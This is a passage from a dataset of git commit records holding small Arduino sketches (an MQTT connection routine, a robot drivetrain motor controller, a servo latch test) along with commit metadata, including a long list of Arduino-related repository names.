connecting.\nvoid MQTT_connect() {\n int8_t ret;\n\n \/\/ Stop if already connected.\n if (mqtt.connected()) {\n return;\n }\n\n Serial.print(\"Connecting to MQTT... \");\n\n uint8_t retries = 3;\n while ((ret = mqtt.connect()) != 0) { \/\/ connect will return 0 for connected\n Serial.println(mqtt.connectErrorString(ret));\n Serial.println(\"Retrying MQTT connection in 5 seconds...\");\n mqtt.disconnect();\n delay(5000); \/\/ wait 5 seconds\n retries--;\n if (retries == 0) {\n \/\/ basically die and wait for WDT to reset me\n while (1);\n }\n }\n Serial.println(\"MQTT Connected!\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_05_kidSerie_sketch_03.Adafruit_Fisrt_feeds.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"af69d9a4ccf9da13768dd9a3391ee810de411a31","subject":"Updated arduino Drivetrain","message":"Updated arduino Drivetrain\n","repos":"GW-Robotics\/2017-Fire-Fighter,GW-Robotics\/2017-Fire-Fighter,GW-Robotics\/2017-Fire-Fighter","old_file":"arduino\/arduinoDriveTrain\/arduinoDriveTrain.ino","new_file":"arduino\/arduinoDriveTrain\/arduinoDriveTrain.ino","new_contents":"\n \/\/ 3 controllers\n \/\/listed from front\n \/\/controller1\n int controller1A1 = 13;\n int controller1A2 = 12;\n \n int controller1B1 = 11;\n int controller1B2 = 10;\n \n \/\/controller2\n int controller2A1 = 9;\n int controller2A2 = 8;\n \n int controller2B1 = 7;\n int controller2B2 = 6;\n \n \/\/controller3\n int controller3A1 = 5;\n int controller3A2 = 4;\n \n int controller3B1 = 3;\n int controller3B2 = 2;\n \n void setup(){\n \/\/ set all the motor control pins to outputs\n pinMode(controller1A1, OUTPUT);\n pinMode(controller1A2, OUTPUT);\n pinMode(controller1B1, OUTPUT);\n pinMode(controller1B2, OUTPUT);\n \n pinMode(controller2A1, OUTPUT);\n pinMode(controller2A2, OUTPUT);\n pinMode(controller2B1, OUTPUT);\n pinMode(controller2B2, OUTPUT);\n\n pinMode(controller3A1, OUTPUT);\n pinMode(controller3A2, OUTPUT);\n pinMode(controller3B1, OUTPUT);\n pinMode(controller3B2, OUTPUT);\n\n \/\/NEED TO ASSIGN VALUES \n int frontRightMotor = 0;\n int frontLeftMotor = 0;\n int backRightMotor = 0;\n int backLeftMotor = 0;\n int middleMotor = 0;\n int pump = 0;\n \n}\n\/\/\n\/\/dir is direction, vel is velocity, duration\n\/\/velocity is from 0 to 255\n\/\/direciton is 1 or -1\n void motorSpeed(int controller, int dir, int vel){\n \n if( dir = 1){\n analogWrite(controller, vel);\n analogWrite(controller, 0);\n }\n \n else{\n analogWrite(controller, 0);\n analogWrite(controller, vel);\n }\n \n }\n \nvoid loop()\n{\n \/\/example code to make controller1A1 go forward at 200\n motorSpeed(controller1A1, 1, 200);\n \n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/arduinoDriveTrain\/arduinoDriveTrain.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9db1eae488e000a66cbf616d5f173d8918628c49","subject":"add servo test","message":"add servo test\n","repos":"bhomberg\/heterodyne,bhomberg\/heterodyne,bhomberg\/heterodyne,bhomberg\/heterodyne,bhomberg\/heterodyne","old_file":"crypt-gears\/servo_test\/servo_test.ino","new_file":"crypt-gears\/servo_test\/servo_test.ino","new_contents":"#include <Servo.h>\n\nServo latch;\nint servopin = 8;\n\nvoid setup() \n{\n latch.attach(servopin);\n}\n\nvoid loop()\n{\n latch.write(0);\n delay(10000);\n latch.write(180);\n delay(10000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'crypt-gears\/servo_test\/servo_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a14973fdcd1535336504fae78347f71bedef6780","subject":"Timer for color coded LEDs changed","message":"Timer for color coded LEDs changed\n","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Muscle\/Arduino Code\/SixChannelsLeonardo\/SixChannelsLeonardo.ino","new_file":"Muscle\/Arduino Code\/SixChannelsLeonardo\/SixChannelsLeonardo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Muscle\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/SixChannelsLeonardo\/SixChannelsLeonardo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b2fe779ec013eda7e6549beae2ab747140f9bf7c","subject":"Added DigitalInputPullup example by Scott Fitzgerald","message":"Added DigitalInputPullup example by Scott Fitzgerald\n","repos":"snargledorf\/Arduino,NoPinky\/Energia,wilhelmryan\/Arduino,sanyaade-iot\/Energia,ccoenen\/Arduino,andrealmeidadomingues\/Arduino,aichi\/Arduino-2,majenkotech\/Arduino,Gourav2906\/Arduino,jaimemaretoli\/Arduino,myrtleTree33\/Arduino,tskurauskas\/Arduino,scdls\/Arduino,martianmartin\/Energia,pdNor\/Arduino,battosai30\/Energia,gurbrinder\/Arduino,Orthogonal-Systems\/arduino-libs,arunkuttiyara\/Arduino,NicoHood\/Arduino,eduardocasarin\/Arduino,Cloudino\/Cloudino-Arduino-IDE,koltegirish\/Arduino,wayoda\/Arduino,adamkh\/Arduino,HCastano\/Arduino,gberl001\/Arduino,i--storm\/Energia,mboufos\/esp8266-Arduino,NicoHood\/Arduino,xxxajk\/Arduino-1,Gourav2906\/Arduino,weera00\/Arduino,gestrem\/Arduino,tannewt\/Arduino,EmuxEvans\/Arduino,Cloudino\/Cloudino-Arduino-IDE,radut\/Arduino,jadonk\/Energia,zaiexx\/Arduino,nkolban\/Arduino,jaej-dev\/Arduino,jaej-dev\/Arduino,karlitxo\/Arduino,zenmanenergy\/Arduino,spapadim\/Arduino,niggor\/Arduino_cc,probonopd\/Arduino,eeijcea\/Arduino-1,stevemarple\/Arduino-org,tskurauskas\/Arduino,battosai30\/Energia,linino\/Arduino,Protoneer\/Arduino,odbol\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,pasky\/Energia,bobintornado\/Energia,NicoHood\/Arduino,odbol\/Arduino,andyvand\/Arduino-1,cscenter\/Arduino,ssvs111\/Arduino,raimohanska\/Arduino,wilhelmryan\/Arduino,adamkh\/Arduino,wayoda\/Arduino,KlaasDeNys\/Arduino,adafruit\/ESP8266-Arduino,eggfly\/arduino,arunkuttiyara\/Arduino,radiolok\/Energia,ForestNymph\/Arduino_sources,lukeWal\/Arduino,shannonshsu\/Arduino,KlaasDeNys\/Arduino,paulo-raca\/ESP8266-Arduino,UDOOboard\/Arduino,byran\/Arduino,ccoenen\/Arduino,shannonshsu\/Arduino,onovy\/Arduino,byran\/Arduino,shannonshsu\/Arduino,gestrem\/Arduino,SmartArduino\/Arduino-1,ntruchsess\/Arduino-1,danielohh\/Energia,Cloudino\/Arduino,fungxu\/Arduino,zacinaction\/Energia,ccoenen\/Arduino,spapadim\/Arduino,andyvand\/Arduino-1,mateuszdw\/Arduino,battosai30\/Energia,ms-iot\/Arduino,smily77\/Arduino,dvdvideo1234\/Energia,tbowmo\/Arduino,jaehong\/Xmegaduino,superboonie\/Arduino,Chris--A\/Arduino,andyvand\/Arduino-1,rodibot\/Arduino,aichi\/Arduino-2,zacinaction\/Energia,jaehong\/Xmegaduino,OpenDevice\/Arduino,eeijcea\/Arduino-1,karlitxo\/Arduino,PaoloP74\/Arduino,eeijcea\/Arduino-1,acosinwork\/Arduino,talhaburak\/Arduino,shannonshsu\/Arduino,stevemarple\/Arduino-org,piersoft\/esp8266-Arduino,andyvand\/Arduino-1,mattvenn\/Arduino,SmartArduino\/Arduino-1,odbol\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,Ramoonus\/Arduino,laylthe\/Arduino,ashwin713\/Arduino,cevatbostancioglu\/Energia,martianmartin\/Energia,381426068\/Arduino,chaveiro\/Arduino,radiolok\/Energia,eddyst\/Arduino-SourceCode,dvdvideo1234\/Energia,garci66\/Arduino,nkolban\/Arduino,noahchense\/Arduino-1,UDOOboard\/Arduino,jabezGit\/Arduino,stevemarple\/Arduino-org,cscenter\/Arduino,NoPinky\/Energia,ikbelkirasan\/Arduino,drpjk\/Arduino,ikbelkirasan\/Arduino,henningpohl\/Arduino,rcook\/DesignLab,me-no-dev\/Arduino-1,gurbrinder\/Arduino,ektor5\/Arduino,Gourav2906\/Arduino,jadonk\/Energia,Cloudino\/Arduino,zenmanenergy\/Arduino,byran\/Arduino,wdoganowski\/Arduino,jabezGit\/Arduino,danielchalef\/Arduino,mangelajo\/Arduino,tommyli2014\/Arduino,wilhelmryan\/Arduino,NaSymbol\/Arduino,brianonn\/Energia,PeterVH\/Arduino,stickbreaker\/Arduino,bsmr-arduino\/Arduino,acosinwork\/Arduino,andrealmeidadomingues\/Arduino,bigjosh\/Arduino,wayoda\/Arduino,NeuralSpaz\/Arduino,NaSymbol\/Arduino,bigjosh\/Arduino,nkolban\/Arduino,spapadim\/Arduino,ricklon\/Arduino,wayoda\/Arduino,odbol\/Arduino,NaSymbol\/Arduino,radiolok\/Energia,NeuralSpaz\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ikbelkirasan\/Arduino,drpjk\/Arduino,aichi\/Arduino-2,DavidUser\/Energia,bigjosh\/Arduino,plaintea\/esp8266-Arduino,ashwin713\/Arduino,ccoenen\/Arduino,mangelajo\/Arduino,mattvenn\/Arduino,diydrones\/Arduino,ogferreiro\/Arduino,ogferreiro\/Arduino,adamkh\/Arduino,chaveiro\/Arduino,piersoft\/esp8266-Arduino,laylthe\/Arduino,shannonshsu\/Arduino,drpjk\/Arduino,DavidUser\/Energia,diydrones\/Arduino,gurbrinder\/Arduino,NeuralSpaz\/Arduino,martianmartin\/Energia,stevemayhew\/Arduino,jadonk\/Energia,spapadim\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,bobintornado\/Energia,talhaburak\/Arduino,jmgonzalez00449\/Arduino,damellis\/Arduino,martianmartin\/Energia,pasky\/Energia,arunkuttiyara\/Arduino,mc-hamster\/esp8266-Arduino,tbowmo\/Arduino,ms-iot\/Arduino,Chris--A\/Arduino,brianonn\/Energia,me-no-dev\/Arduino-1,tannewt\/Arduino,plaintea\/esp8266-Arduino,jaimemaretoli\/Arduino,acosinwork\/Arduino,plaintea\/esp8266-Arduino,zaiexx\/Arduino,01org\/Arduino,ForestNymph\/Arduino_sources,benwolfe\/esp8266-Arduino,wilhelmryan\/Arduino,noahchense\/Arduino-1,EmuxEvans\/Arduino,garci66\/Arduino,jamesrob4\/Arduino,ogahara\/Arduino,arduino-org\/Arduino,stevemayhew\/Arduino,mboufos\/esp8266-Arduino,arunkuttiyara\/Arduino,stickbreaker\/Arduino,xxxajk\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,ektor5\/Arduino,chaveiro\/Arduino,jabezGit\/Arduino,fungxu\/Arduino,jomolinare\/Arduino,weera00\/Arduino,NaSymbol\/Arduino,ogahara\/Arduino,raimohanska\/Arduino,niggor\/Arduino_cc,onovy\/Arduino,myrtleTree33\/Arduino,spapadim\/Arduino,Protoneer\/Arduino,byran\/Arduino,pdNor\/Arduino,tomkrus007\/Arduino,jamesrob4\/Arduino,tomkrus007\/Arduino,shannonshsu\/Arduino,PeterVH\/Arduino,koltegirish\/Arduino,UDOOboard\/Arduino,NaSymbol\/Arduino,eggfly\/arduino,shiitakeo\/Arduino,ForestNymph\/Arduino_sources,piersoft\/esp8266-Arduino,ms-iot\/Arduino,sanyaade-iot\/Arduino-1,danielohh\/Energia,zederson\/Arduino,tannewt\/Arduino,benwolfe\/esp8266-Arduino,Gourav2906\/Arduino,tomkrus007\/Arduino,bigjosh\/Arduino,eddyst\/Arduino-SourceCode,Protoneer\/Arduino,i--storm\/Energia,ForestNymph\/Arduino_sources,ogahara\/Arduino,KlaasDeNys\/Arduino,i--storm\/Energia,paulo-raca\/ESP8266-Arduino,sanyaade-iot\/Energia,talhaburak\/Arduino,championswimmer\/Arduino,arunkuttiyara\/Arduino,superboonie\/Arduino,wdoganowski\/Arduino,championswimmer\/Arduino,leftbrainstrain\/Arduino-ESP8266,steamboating\/Arduino,Gourav2906\/Arduino,lulufei\/Arduino,tommyli2014\/Arduino,gurbrinder\/Arduino,martianmartin\/Energia,croberts15\/Energia,nandojve\/Arduino,damellis\/Arduino,HCastano\/Arduino,eggfly\/arduino,meanbot\/Energia,niggor\/Arduino_cc,battosai30\/Energia,adafruit\/ESP8266-Arduino,scdls\/Arduino,pdNor\/Arduino,UDOOboard\/Arduino,snargledorf\/Arduino,jaimemaretoli\/Arduino,jaehong\/Xmegaduino,Chris--A\/Arduino,PeterVH\/Arduino,croberts15\/Energia,onovy\/Arduino,stevemarple\/Arduino,i--storm\/Energia,PeterVH\/Arduino,ccoenen\/Arduino,andrealmeidadomingues\/Arduino,NeuralSpaz\/Arduino,henningpohl\/Arduino,acosinwork\/Arduino,majenkotech\/Arduino,ogferreiro\/Arduino,stevemarple\/Arduino,eduardocasarin\/Arduino,ari-analytics\/Arduino,zacinaction\/Energia,zacinaction\/Energia,Cloudino\/Arduino,niggor\/Arduino_cc,probonopd\/Arduino,fungxu\/Arduino,jabezGit\/Arduino,weera00\/Arduino,gestrem\/Arduino,ssvs111\/Arduino,danielohh\/Energia,jamesrob4\/Arduino,raimohanska\/Arduino,UDOOboard\/Arduino,byran\/Arduino,tskurauskas\/Arduino,ikbelkirasan\/Arduino,raimohanska\/Arduino,Alfredynho\/AgroSis,lukeWal\/Arduino,fungxu\/Arduino,danielohh\/Energia,adafruit\/ESP8266-Arduino,shiitakeo\/Arduino,snargledorf\/Arduino,nandojve\/Arduino,PeterVH\/Arduino,bugobliterator\/BUAGI,eduardocasarin\/Arduino,mc-hamster\/esp8266-Arduino,ektor5\/Arduino,toddtreece\/esp8266-Arduino,NoPinky\/Energia,KlaasDeNys\/Arduino,tannewt\/Arduino,acosinwork\/Arduino,stevemarple\/Arduino,01org\/Arduino,ektor5\/Arduino,rodibot\/Arduino,bobintornado\/Energia,vigneshmanix\/Energia,Protoneer\/Arduino,paulmand3l\/Arduino,jmgonzalez00449\/Arduino,nandojve\/Arduino,wdoganowski\/Arduino,steamboating\/Arduino,diydrones\/Arduino,jaimemaretoli\/Arduino,koltegirish\/Arduino,jaehong\/Xmegaduino,ssvs111\/Arduino,mattvenn\/Arduino,jomolinare\/Arduino,jmgonzalez00449\/Arduino,brianonn\/Energia,jamesrob4\/Arduino,vigneshmanix\/Energia,gberl001\/Arduino,381426068\/Arduino,pdNor\/Arduino,kidswong999\/Arduino,kidswong999\/Arduino,chaveiro\/Arduino,gberl001\/Arduino,noahchense\/Arduino-1,Alfredynho\/AgroSis,mboufos\/esp8266-Arduino,damellis\/Arduino,arduino-org\/Arduino,talhaburak\/Arduino,ari-analytics\/Arduino,diydrones\/Arduino,jaimemaretoli\/Arduino,brianonn\/Energia,croberts15\/Energia,kidswong999\/Arduino,NaSymbol\/Arduino,gonium\/Arduino,radut\/Arduino,cevatbostancioglu\/Energia,eddyst\/Arduino-SourceCode,OpenDevice\/Arduino,danielchalef\/Arduino,tomkrus007\/Arduino,vigneshmanix\/Energia,plinioseniore\/Arduino,cevatbostancioglu\/Energia,zederson\/Arduino,noahchense\/Arduino-1,brianonn\/Energia,adafruit\/ESP8266-Arduino,majenkotech\/Arduino,jaej-dev\/Arduino,01org\/Arduino,byran\/Arduino,radut\/Arduino,ntruchsess\/Arduino-1,jomolinare\/Arduino,DavidUser\/Energia,jmgonzalez00449\/Arduino,adamkh\/Arduino,tomkrus007\/Arduino,bsmr-arduino\/Arduino,bigjosh\/Arduino,stevemarple\/Arduino,talhaburak\/Arduino,cscenter\/Arduino,Orthogonal-Systems\/arduino-libs,scdls\/Arduino,nkolban\/Arduino,PaintYourDragon\/Arduino,NeuralSpaz\/Arduino,Gourav2906\/Arduino,KlaasDeNys\/Arduino,lulufei\/Arduino,ektor5\/Arduino,ari-analytics\/Arduino,adafruit\/ESP8266-Arduino,myrtleTree33\/Arduino,xxxajk\/Arduino-1,linino\/Arduino,battosai30\/Energia,danielchalef\/Arduino,ricklon\/Arduino,jomolinare\/Arduino,ogferreiro\/Arduino,pasky\/Energia,koltegirish\/Arduino,eggfly\/arduino,ricklon\/Arduino,mangelajo\/Arduino,Gourav2906\/Arduino,SmartArduino\/Arduino-1,drpjk\/Arduino,PaoloP74\/Arduino,jamesrob4\/Arduino,croberts15\/Energia,tommyli2014\/Arduino,piersoft\/esp8266-Arduino,ricklon\/Arduino,UDOOboard\/Arduino,mangelajo\/Arduino,weera00\/Arduino,steamboating\/Arduino,benwolfe\/esp8266-Arduino,KlaasDeNys\/Arduino,PaoloP74\/Arduino,acosinwork\/Arduino,Alfredynho\/AgroSis,laylthe\/Arduino,DavidUser\/Energia,damellis\/Arduino,probonopd\/Arduino,vbextreme\/Arduino,arduino-org\/Arduino,ntruchsess\/Arduino-1,sanyaade-iot\/Energia,tbowmo\/Arduino,tbowmo\/Arduino,gonium\/Arduino,stevemarple\/Arduino,jabezGit\/Arduino,drpjk\/Arduino,tskurauskas\/Arduino,danielohh\/Energia,OpenDevice\/Arduino,mattvenn\/Arduino,lulufei\/Arduino,EmuxEvans\/Arduino,ogferreiro\/Arduino,SmartArduino\/Arduino-1,mangelajo\/Arduino,tbowmo\/Arduino,Protoneer\/Arduino,zacinaction\/Energia,ThoughtWorksIoTGurgaon\/Arduino,ForestNymph\/Arduino_sources,spapadim\/Arduino,EmuxEvans\/Arduino,brianonn\/Energia,mattvenn\/Arduino,arunkuttiyara\/Arduino,gurbrinder\/Arduino,nkolban\/Arduino,jabezGit\/Arduino,eggfly\/arduino,arduino-org\/Arduino,me-no-dev\/Arduino-1,croberts15\/Energia,stickbreaker\/Arduino,cevatbostancioglu\/Energia,shiitakeo\/Arduino,ntruchsess\/Arduino-1,jaej-dev\/Arduino,sanyaade-iot\/Arduino-1,linino\/Arduino,smily77\/Arduino,weera00\/Arduino,dvdvideo1234\/Energia,benwolfe\/esp8266-Arduino,danielchalef\/Arduino,bsmr-arduino\/Arduino,gestrem\/Arduino,ashwin713\/Arduino,Ramoonus\/Arduino,i--storm\/Energia,henningpohl\/Arduino,stevemarple\/Arduino-org,PaoloP74\/Arduino,radiolok\/Energia,ThoughtWorksIoTGurgaon\/Arduino,rodibot\/Arduino,pasky\/Energia,pasky\/Energia,jadonk\/Energia,gonium\/Arduino,eggfly\/arduino,DavidUser\/Energia,paulo-raca\/ESP8266-Arduino,steamboating\/Arduino,zenmanenergy\/Arduino,PaoloP74\/Arduino,myrtleTree33\/Arduino,jaej-dev\/Arduino,ntruchsess\/Arduino-1,ashwin713\/Arduino,tommyli2014\/Arduino,sanyaade-iot\/Arduino-1,tomkrus007\/Arduino,NaSymbol\/Arduino,shiitakeo\/Arduino,adamkh\/Arduino,niggor\/Arduino_cc,dvdvideo1234\/Energia,vbextreme\/Arduino,ari-analytics\/Arduino,nandojve\/Arduino,tbowmo\/Arduino,eggfly\/arduino,EmuxEvans\/Arduino,radiolok\/Energia,toddtreece\/esp8266-Arduino,chaveiro\/Arduino,mateuszdw\/Arduino,ikbelkirasan\/Arduino,championswimmer\/Arduino,stickbreaker\/Arduino,scdls\/Arduino,tskurauskas\/Arduino,karlitxo\/Arduino,plinioseniore\/Arduino,paulo-raca\/ESP8266-Arduino,vbextreme\/Arduino,PaoloP74\/Arduino,ssvs111\/Arduino,andrealmeidadomingues\/Arduino,vbextreme\/Arduino,adamkh\/Arduino,karlitxo\/Arduino,adamkh\/Arduino,mattvenn\/Arduino,snargledorf\/Arduino,bugobliterator\/BUAGI,ricklon\/Arduino,ari-analytics\/Arduino,01org\/Arduino,wayoda\/Arduino,xxxajk\/Arduino-1,aichi\/Arduino-2,cscenter\/Arduino,qtonthat\/Energia,NaSymbol\/Arduino,plinioseniore\/Arduino,rcook\/DesignLab,jabezGit\/Arduino,sanyaade-iot\/Arduino-1,vbextreme\/Arduino,adamkh\/Arduino,talhaburak\/Arduino,Ramoonus\/Arduino,ashwin713\/Arduino,rodibot\/Arduino,SmartArduino\/Arduino-1,majenkotech\/Arduino,gestrem\/Arduino,OpenDevice\/Arduino,niggor\/Arduino_cc,talhaburak\/Arduino,acosinwork\/Arduino,leftbrainstrain\/Arduino-ESP8266,smily77\/Arduino,gberl001\/Arduino,snargledorf\/Arduino,bsmr-arduino\/Arduino,NicoHood\/Arduino,laylthe\/Arduino,paulmand3l\/Arduino,lukeWal\/Arduino,toddtreece\/esp8266-Arduino,dvdvideo1234\/Energia,rcook\/DesignLab,odbol\/Arduino,mateuszdw\/Arduino,UDOOboard\/Arduino,damellis\/Arduino,henningpohl\/Arduino,meanbot\/Energia,i--storm\/Energia,bsmr-arduino\/Arduino,stevemarple\/Arduino,zenmanenergy\/Arduino,tannewt\/Arduino,vigneshmanix\/Energia,plinioseniore\/Arduino,vbextreme\/Arduino,381426068\/Arduino,bugobliterator\/BUAGI,ektor5\/Arduino,rodibot\/Arduino,pdNor\/Arduino,jaej-dev\/Arduino,jaej-dev\/Arduino,zaiexx\/Arduino,snargledorf\/Arduino,andrealmeidadomingues\/Arduino,henningpohl\/Arduino,zederson\/Arduino,Chris--A\/Arduino,vbextreme\/Arduino,radiolok\/Energia,zederson\/Arduino,mc-hamster\/esp8266-Arduino,cscenter\/Arduino,danielchalef\/Arduino,mboufos\/esp8266-Arduino,bugobliterator\/BUAGI,battosai30\/Energia,eggfly\/arduino,nandojve\/Arduino,radut\/Arduino,chaveiro\/Arduino,ashwin713\/Arduino,croberts15\/Energia,kidswong999\/Arduino,NicoHood\/Arduino,eddyst\/Arduino-SourceCode,ikbelkirasan\/Arduino,paulo-raca\/ESP8266-Arduino,xxxajk\/Arduino-1,mboufos\/esp8266-Arduino,zaiexx\/Arduino,diydrones\/Arduino,HCastano\/Arduino,paulmand3l\/Arduino,plaintea\/esp8266-Arduino,niggor\/Arduino_cc,jomolinare\/Arduino,eeijcea\/Arduino-1,andrealmeidadomingues\/Arduino,benwolfe\/esp8266-Arduino,shiitakeo\/Arduino,vigneshmanix\/Energia,rodibot\/Arduino,superboonie\/Arduino,stevemayhew\/Arduino,Cloudino\/Cloudino-Arduino-IDE,EmuxEvans\/Arduino,Cloudino\/Cloudino-Arduino-IDE,gonium\/Arduino,KlaasDeNys\/Arduino,jadonk\/Energia,01org\/Arduino,stevemayhew\/Arduino,Ramoonus\/Arduino,karlitxo\/Arduino,mateuszdw\/Arduino,ms-iot\/Arduino,tskurauskas\/Arduino,tommyli2014\/Arduino,Orthogonal-Systems\/arduino-libs,HCastano\/Arduino,PeterVH\/Arduino,mc-hamster\/esp8266-Arduino,rcook\/DesignLab,mangelajo\/Arduino,lulufei\/Arduino,Cloudino\/Cloudino-Arduino-IDE,superboonie\/Arduino,sanyaade-iot\/Arduino-1,adafruit\/ESP8266-Arduino,noahchense\/Arduino-1,shannonshsu\/Arduino,tannewt\/Arduino,DavidUser\/Energia,SmartArduino\/Arduino-1,lukeWal\/Arduino,NeuralSpaz\/Arduino,Cloudino\/Arduino,jmgonzalez00449\/Arduino,dvdvideo1234\/Energia,jaehong\/Xmegaduino,leftbrainstrain\/Arduino-ESP8266,mateuszdw\/Arduino,gberl001\/Arduino,byran\/Arduino,stevemayhew\/Arduino,zenmanenergy\/Arduino,sanyaade-iot\/Arduino-1,arduino-org\/Arduino,xxxajk\/Arduino-1,OpenDevice\/Arduino,majenkotech\/Arduino,wilhelmryan\/Arduino,gberl001\/Arduino,martianmartin\/Energia,odbol\/Arduino,cscenter\/Arduino,battosai30\/Energia,tommyli2014\/Arduino,zederson\/Arduino,wayoda\/Arduino,ForestNymph\/Arduino_sources,NeuralSpaz\/Arduino,leftbrainstrain\/Arduino-ESP8266,wilhelmryan\/Arduino,ms-iot\/Arduino,Cloudino\/Arduino,ccoenen\/Arduino,Ramoonus\/Arduino,381426068\/Arduino,bigjosh\/Arduino,PeterVH\/Arduino,PaoloP74\/Arduino,jomolinare\/Arduino,championswimmer\/Arduino,danielchalef\/Arduino,HCastano\/Arduino,fungxu\/Arduino,NicoHood\/Arduino,pdNor\/Arduino,sanyaade-iot\/Arduino-1,weera00\/Arduino,paulo-raca\/ESP8266-Arduino,ntruchsess\/Arduino-1,mateuszdw\/Arduino,radut\/Arduino,garci66\/Arduino,raimohanska\/Arduino,qtonthat\/Energia,leftbrainstrain\/Arduino-ESP8266,qtonthat\/Energia,Alfredynho\/AgroSis,sanyaade-iot\/Energia,eddyst\/Arduino-SourceCode,plinioseniore\/Arduino,linino\/Arduino,scdls\/Arduino,eeijcea\/Arduino-1,ogahara\/Arduino,majenkotech\/Arduino,niggor\/Arduino_cc,majenkotech\/Arduino,PaintYourDragon\/Arduino,jaehong\/Xmegaduino,gurbrinder\/Arduino,onovy\/Arduino,lukeWal\/Arduino,odbol\/Arduino,scdls\/Arduino,henningpohl\/Arduino,Cloudino\/Cloudino-Arduino-IDE,zacinaction\/Energia,pasky\/Energia,meanbot\/Energia,vigneshmanix\/Energia,NicoHood\/Arduino,arduino-org\/Arduino,zaiexx\/Arduino,ogahara\/Arduino,kidswong999\/Arduino,lulufei\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,Cloudino\/Cloudino-Arduino-IDE,bobintornado\/Energia,paulmand3l\/Arduino,cevatbostancioglu\/Energia,Alfredynho\/AgroSis,andyvand\/Arduino-1,talhaburak\/Arduino,paulmand3l\/Arduino,acosinwork\/Arduino,bsmr-arduino\/Arduino,me-no-dev\/Arduino-1,bugobliterator\/BUAGI,mateuszdw\/Arduino,qtonthat\/Energia,sanyaade-iot\/Energia,PaintYourDragon\/Arduino,Ramoonus\/Arduino,Cloudino\/Arduino,gonium\/Arduino,garci66\/Arduino,onovy\/Arduino,HCastano\/Arduino,zederson\/Arduino,tskurauskas\/Arduino,eddyst\/Arduino-SourceCode,wdoganowski\/Arduino,radiolok\/Energia,tomkrus007\/Arduino,tbowmo\/Arduino,brianonn\/Energia,Protoneer\/Arduino,onovy\/Arduino,mattvenn\/Arduino,gurbrinder\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,linino\/Arduino,myrtleTree33\/Arduino,radut\/Arduino,stevemayhew\/Arduino,tannewt\/Arduino,rcook\/DesignLab,stickbreaker\/Arduino,fungxu\/Arduino,Gourav2906\/Arduino,i--storm\/Energia,danielohh\/Energia,kidswong999\/Arduino,ssvs111\/Arduino,me-no-dev\/Arduino-1,qtonthat\/Energia,paulmand3l\/Arduino,NoPinky\/Energia,myrtleTree33\/Arduino,stevemayhew\/Arduino,xxxajk\/Arduino-1,jmgonzalez00449\/Arduino,andrealmeidadomingues\/Arduino,tbowmo\/Arduino,NoPinky\/Energia,ogferreiro\/Arduino,jabezGit\/Arduino,ari-analytics\/Arduino,smily77\/Arduino,zederson\/Arduino,chaveiro\/Arduino,ntruchsess\/Arduino-1,PaintYourDragon\/Arduino,stevemarple\/Arduino-org,eduardocasarin\/Arduino,paulmand3l\/Arduino,garci66\/Arduino,EmuxEvans\/Arduino,damellis\/Arduino,aichi\/Arduino-2,xxxajk\/Arduino-1,wilhelmryan\/Arduino,plinioseniore\/Arduino,kidswong999\/Arduino,raimohanska\/Arduino,Chris--A\/Arduino,lukeWal\/Arduino,ogferreiro\/Arduino,381426068\/Arduino,381426068\/Arduino,PaintYourDragon\/Arduino,KlaasDeNys\/Arduino,diydrones\/Arduino,probonopd\/Arduino,plinioseniore\/Arduino,meanbot\/Energia,chaveiro\/Arduino,nandojve\/Arduino,smily77\/Arduino,jmgonzalez00449\/Arduino,fungxu\/Arduino,Alfredynho\/AgroSis,bigjosh\/Arduino,eeijcea\/Arduino-1,ricklon\/Arduino,PaoloP74\/Arduino,wayoda\/Arduino,wayoda\/Arduino,onovy\/Arduino,aichi\/Arduino-2,jaimemaretoli\/Arduino,jamesrob4\/Arduino,sanyaade-iot\/Energia,adafruit\/ESP8266-Arduino,gestrem\/Arduino,eduardocasarin\/Arduino,noahchense\/Arduino-1,henningpohl\/Arduino,cscenter\/Arduino,radut\/Arduino,pdNor\/Arduino,Chris--A\/Arduino,steamboating\/Arduino,koltegirish\/Arduino,lukeWal\/Arduino,steamboating\/Arduino,gestrem\/Arduino,superboonie\/Arduino,rcook\/DesignLab,01org\/Arduino,NoPinky\/Energia,nandojve\/Arduino,zenmanenergy\/Arduino,gonium\/Arduino,Cloudino\/Arduino,arduino-org\/Arduino,zaiexx\/Arduino,shiitakeo\/Arduino,mangelajo\/Arduino,vigneshmanix\/Energia,arunkuttiyara\/Arduino,smily77\/Arduino,cscenter\/Arduino,koltegirish\/Arduino,aichi\/Arduino-2,ikbelkirasan\/Arduino,arduino-org\/Arduino,jaehong\/Xmegaduino,andyvand\/Arduino-1,mc-hamster\/esp8266-Arduino,croberts15\/Energia,laylthe\/Arduino,sanyaade-iot\/Energia,linino\/Arduino,eduardocasarin\/Arduino,jomolinare\/Arduino,ikbelkirasan\/Arduino,eddyst\/Arduino-SourceCode,laylthe\/Arduino,ssvs111\/Arduino,vbextreme\/Arduino,Chris--A\/Arduino,lulufei\/Arduino,superboonie\/Arduino,andyvand\/Arduino-1,kidswong999\/Arduino,shannonshsu\/Arduino,karlitxo\/Arduino,HCastano\/Arduino,ashwin713\/Arduino,niggor\/Arduino_cc,HCastano\/Arduino,probonopd\/Arduino,myrtleTree33\/Arduino,noahchense\/Arduino-1,nkolban\/Arduino,damellis\/Arduino,shiitakeo\/Arduino,bsmr-arduino\/Arduino,nkolban\/Arduino,henningpohl\/Arduino,rcook\/DesignLab,eddyst\/Arduino-SourceCode,Protoneer\/Arduino,stevemarple\/Arduino-org,scdls\/Arduino,cevatbostancioglu\/Energia,byran\/Arduino,garci66\/Arduino,ashwin713\/Arduino,superboonie\/Arduino,ForestNymph\/Arduino_sources,ogahara\/A